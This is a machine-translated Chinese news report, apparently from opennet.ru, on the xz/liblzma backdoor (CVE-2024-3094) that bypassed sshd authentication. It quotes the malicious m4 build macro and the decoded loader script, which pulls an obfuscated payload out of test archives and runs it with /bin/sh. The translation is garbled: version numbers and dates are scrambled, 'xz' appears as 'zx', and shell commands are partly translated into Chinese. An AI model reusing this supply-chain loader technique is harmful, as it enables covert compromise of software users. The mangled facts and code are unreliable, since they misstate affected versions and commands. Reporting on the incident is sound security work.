在 xz/liblzma 函式庫中發現允許透過 sshd 進入的後門

XZ Utils 套件(包括 liblzma 函式庫和用於處理「.xz」格式壓縮資料的實用程式)中,已識別出一個後門 (CVE-2024-3094),該後門允許攔截和修改相關應用程式處理的資料。與liblzma 庫。後門的主要目標是 OpenSSH 伺服器,在某些發行版中,該伺服器與 libsystemd 庫捆綁在一起,而 libsystemd 庫又使用 liblzma。將 sshd 與易受攻擊的程式庫連結允許攻擊者無需身份驗證即可存取 SSH 伺服器。

後門存在於 5.6.0 月 5.6.1 日和 24 月 9 日發布的官方版本 40 和 5.6.0 中,成功進入了一些發行版和存儲庫,例如 Gentoo、Arch Linux、Debian sid/unstable、Fedora Rawhide 和5.6.1-beta、openSUSE 工廠和風滾草、LibreELEC、Alpine Edge、Solus、NixOS 不穩定、OpenIndiana、OpenMandriva 滾動、pkgsrc 當前、Slackware 目前、Manjaro 測試。建議所有xz 5.4.6和XNUMX版本的使用者緊急回溯到XNUMX版本。

在緩解該問題的因素中,值得注意的是,帶有後門的 liblzma 版本未能成為大型發行版穩定版本的一部分,但影響了 openSUSE Tumbleweed 和 Fedora 40-beta。 Arch Linux 和 Gentoo 使用了有漏洞的 zx 版本,但不易受到攻擊,因為它們沒有對 openssh 應用 systemd-notify 補丁,這會導致 sshd 連結到 liblzma。此後門僅影響基於Linux核心和Glibc C函式庫的x86_64系統。

後門啟動代碼隱藏在 automake 工具包在建置時使用的 build-to-host.m4 檔案中的 m4 巨集中。在彙編過程中,為了測試操作的正確性,在執行基於存檔(bad-3-corrupt_lzma2.xz、good-large_compressed.lzma)的複雜混淆操作時,產生了帶有惡意程式碼的目標文件,該目標文件包含在liblzma 庫並更改了其某些功能的操作邏輯。啟動後門的 m4 巨集包含在發布 tarball 中,但不在 Git 儲存庫中。同時,儲存庫中存在惡意測試檔案,即實施後門的人可以存取儲存庫和版本產生過程。

在應用程式中使用 liblzma 時,惡意變更可能會被用來攔截或修改數據,或影響 sshd 的運作。特別是,惡意程式碼欺騙了 RSA_public_decrypt 函數來繞過 sshd 驗證過程。後門包含防止偵測的保護,當設定 LANG 和 TERM 環境變數(即在終端機中執行進程時)且未設定 LD_DEBUG 和 LD_PROFILE 環境變數時,後門不會顯現出來,並且僅在執行/usr/sbin/sshd 可執行檔。後門還有一種檢測調試環境中執行情況的方法。

特別是,m4/build-to-host.m4 檔案使用了 gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake |評估 $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

在第一個建構中,grep 操作找到檔案tests/files/bad-3-corrupt_lzma2.xz,解壓縮後產生腳本:####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && 退出 0 [ ! $(uname) = "Linux" ] && 退出 0 [ ! $(uname) = "Linux" ] && 退出 0 [ ! $(uname) = "Linux" ] && 退出 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi 導出i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && 頭-c +2048 && (頭-c +1024 >/dev/null) && 頭-c +2048 && (頭-c +1024 >/dev/null) && 頭 - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && 頭-c +2048 && (頭-c +1024 >/dev/null) && 頭-c +2048 && (頭-c +1024 >/dev/null) && 頭-c +2048 && (頭-c +1024 >/dev/null) && 頭-c +2048 && (頭-c +1024 >/dev/null) && 頭-c +2048 && (頭-c +1024 >/dev/null) &&頭-c +2048 && (頭-c +1024 >/dev/null) && 頭-c +2048 && (頭-c +1024 >/dev/null) && 頭-c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

攻擊者如何設法存取 xz 專案的基礎設施尚未完全清楚。目前還不清楚有多少用戶和項目因後門而受到損害。後門的涉嫌作者(JiaT75 - Jia Tan)在存儲庫中發布了包含惡意代碼的檔案,並與Fedora 開發人員通信並向Debian 發送了與發行版過渡到xz 5.6.0 分支相關的拉取請求,但並未這樣做引起懷疑,因為他參與了xz的開發,已經過去兩年了,就變更數量而言,是第二個開發者。除了 xz 專案之外,該後門的涉嫌作者還參與了 xz-java 和 xz-embedded 軟體包的開發。而且,賈坦日前還被列入了Linux核心所使用的XZ Embedded計畫的維護者人數中。

在分析透過 ssh 連接到基於 Debian sid 的系統時 valgrind 產生的過多 CPU 消耗和錯誤後,發現了惡意變更。值得注意的是,xz 5.6.1 版本包含了據稱後門作者針對升級到帶有後門的 zx 5.6.0 版本後出現的 sshd 速度變慢和崩潰的投訴而準備的更改。此外,去年 Jia Tan 進行了與「-fsanitize=address」檢查模式不相容的更改,導致其在模糊測試期間被禁用。

來源: opennet.ru

添加評論